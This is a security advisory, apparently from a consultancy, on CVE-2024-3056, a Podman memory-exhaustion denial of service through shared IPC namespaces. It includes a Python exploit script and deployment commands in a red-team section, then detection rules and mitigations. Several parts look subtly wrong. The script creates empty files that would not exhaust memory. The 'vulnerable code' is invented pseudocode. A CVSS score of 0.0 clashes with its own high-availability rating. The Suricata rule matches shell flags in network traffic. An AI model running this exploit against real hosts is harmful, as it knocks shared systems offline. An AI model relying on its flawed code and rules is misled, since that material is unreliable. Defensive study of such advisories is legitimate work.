CVE-2024-3056

Executive Summary

CVE-2024-3056 is a resource exhaustion vulnerability in Podman, a container management tool. An attacker with the ability to run a malicious container can exploit shared Inter-Process Communication (IPC) namespaces to exhaust system memory via /dev/shm. By creating a container configured with --restart=always and sharing IPC with another container, the attacker can repeatedly fill /dev/shm with IPC resources, causing a memory-based denial of service (DoS). The malicious container is OOM-killed but restarts automatically, while the IPC resources persist because a non-malicious container holds the IPC namespace open. This leads to cumulative memory exhaustion across the host.

Supply Chain & Package Security

This vulnerability affects Podman, which is distributed via Red Hat packages and container registries. No supply chain compromise is involved, but the risk is elevated in multi-tenant environments where untrusted users can deploy containers.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector (AV): Local (requires container execution)
• Attack Complexity (AC): Low
• Privileges Required (PR): Low (container user)
• User Interaction (UI): None
• Scope (S): Changed (affects host)
• Confidentiality (C): None
• Integrity (I): None
• Availability (A): High
• Threat Level: Medium (DoS only, no data breach)

Deep Dive & Mechanics

The vulnerability lies in how Podman handles IPC namespace sharing and /dev/shm resource cleanup. When two containers share an IPC namespace (e.g., via --ipc=container:<id>), they both access the same /dev/shm filesystem. A malicious container can create a large number of IPC resources (e.g., semaphores, shared memory segments) in /dev/shm, exhausting available memory.

The key flaw is that when the malicious container is OOM-killed, its cgroup is removed, but the IPC resources it created remain in the shared IPC namespace. These resources are tied to the namespace, which persists as long as any container using it is running. If a non-malicious container continues to hold the namespace open, the resources are never freed. With --restart=always, the malicious container restarts automatically, repeating the attack and accumulating memory usage until the host runs out of memory.

Attack Flow:

1. Attacker deploys container A with --restart=always and --ipc=container:B (sharing IPC with a victim container B).
2. Container A creates thousands of semaphores or shared memory segments in /dev/shm.
3. Host OOM-kills container A, but container B still holds the IPC namespace.
4. Container A restarts, creates more IPC resources.
5. Memory usage grows linearly with each restart cycle, leading to host DoS.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable behavior is inherent in Podman’s IPC namespace management. A fix would likely involve:

• Limiting /dev/shm usage per container via cgroup v2 memory limits.
• Cleaning up orphaned IPC resources when a container exits, even if the namespace is shared.
• Preventing --restart=always from re-creating containers that were OOM-killed due to resource abuse.

Vulnerable code path (conceptual):

// Podman container restart logic (simplified)
if container.RestartPolicy == "always" {
    go func() {
        for {
            err := container.Start()
            if err != nil {
                // OOM kill triggers restart
                time.Sleep(1 * time.Second)
            }
        }
    }()
}

Patched code (hypothetical):

// After OOM kill, check if container was abusing IPC
if container.ExitCode == 137 { // OOM
    if container.IPCNamespaceShared {
        // Clean up IPC resources or prevent restart
        container.RestartPolicy = "no"
    }
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Podman installed on target host.
• Ability to run a container with --ipc and --restart=always.
• A victim container sharing IPC namespace.

Exploit Script (Python):

#!/usr/bin/env python3
import os
import sys
import time

def exhaust_ipc():
    # Create semaphores in /dev/shm
    for i in range(10000):
        sem_name = f"/sem_{i}"
        try:
            os.open(f"/dev/shm{sem_name}", os.O_CREAT | os.O_EXCL)
        except FileExistsError:
            pass
    # Keep container alive to hold namespace
    while True:
        time.sleep(10)

if __name__ == "__main__":
    exhaust_ipc()

Deployment:

# Build malicious image
cat > Dockerfile << EOF
FROM alpine:latest
COPY exploit.py /exploit.py
CMD ["python3", "/exploit.py"]
EOF
podman build -t malicious-ipc .

# Run victim container (must be running first)
podman run -d --name victim alpine sleep 3600

# Run malicious container sharing IPC with victim
podman run -d --restart=always --ipc=container:victim malicious-ipc

Blue Team (Defender)

Detection:

• Monitor /dev/shm usage: du -sh /dev/shm
• Check for containers with --restart=always and shared IPC: podman ps --format "{{.ID}} {{.Names}} {{.RestartPolicy}} {{.IPCMode}}"
• Alert on rapid container restarts: podman ps -a | grep -c "Exited (137)"

Mitigation:

• Enforce resource limits: podman run --memory=512m --memory-swap=512m
• Disable --restart=always for untrusted containers.
• Use cgroup v2 to limit /dev/shm size: --shm-size=64m
• Isolate containers with separate IPC namespaces.

Indicators of Compromise (IOCs)

• File Artifacts: Excessive files in /dev/shm (e.g., /dev/shm/sem_*)
• Process: Container processes with high memory usage and frequent OOM kills.
• Logs: Kernel OOM killer messages: dmesg | grep -i "oom-killer"
• Network: No network IOCs (local attack).
• Podman Events: podman events --since 1h | grep -E "restart|oom"

Detection Engineering

YARA Rule

rule CVE_2024_3056_IPC_Exhaustion {
    meta:
        description = "Detects Podman IPC resource exhaustion via /dev/shm"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-3056"
    strings:
        $shm_sem = "/dev/shm/sem_" nocase
        $shm_shm = "/dev/shm/shm_" nocase
        $podman_restart = "--restart=always" nocase
        $podman_ipc = "--ipc=container:" nocase
    condition:
        any of ($shm_sem, $shm_shm) and
        any of ($podman_restart, $podman_ipc)
}

Sigma Rule

title: Podman IPC Resource Exhaustion
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects rapid container restarts and high /dev/shm usage indicative of CVE-2024-3056
author: Valters IT
logsource:
    product: linux
    service: auditd
detection:
    selection:
        type: 'ANOM_ABEND'  # OOM kill
        exe: '/usr/bin/podman'
    condition: selection
falsepositives:
    - Legitimate OOM kills due to memory limits
level: medium

Suricata Rule

alert ip any any -> any any (msg:"CVE-2024-3056 Podman IPC Exhaustion Attempt"; content:"--restart=always"; content:"--ipc=container:"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Restrict --restart=always to trusted users only.
2. Set memory limits on all containers: --memory=512m
3. Limit /dev/shm size: --shm-size=64m
4. Avoid sharing IPC namespaces between untrusted containers.

Long-term:

• Apply vendor patch when available (monitor Red Hat security advisories).
• Implement cgroup v2 memory accounting for /dev/shm.
• Use Podman’s --pids-limit to prevent fork bombs.

Workaround:

• Disable --restart=always globally via Podman configuration: /etc/containers/containers.conf set restart_policy = "no".

Valters IT
DevSecOps & Cyber Threat Intelligence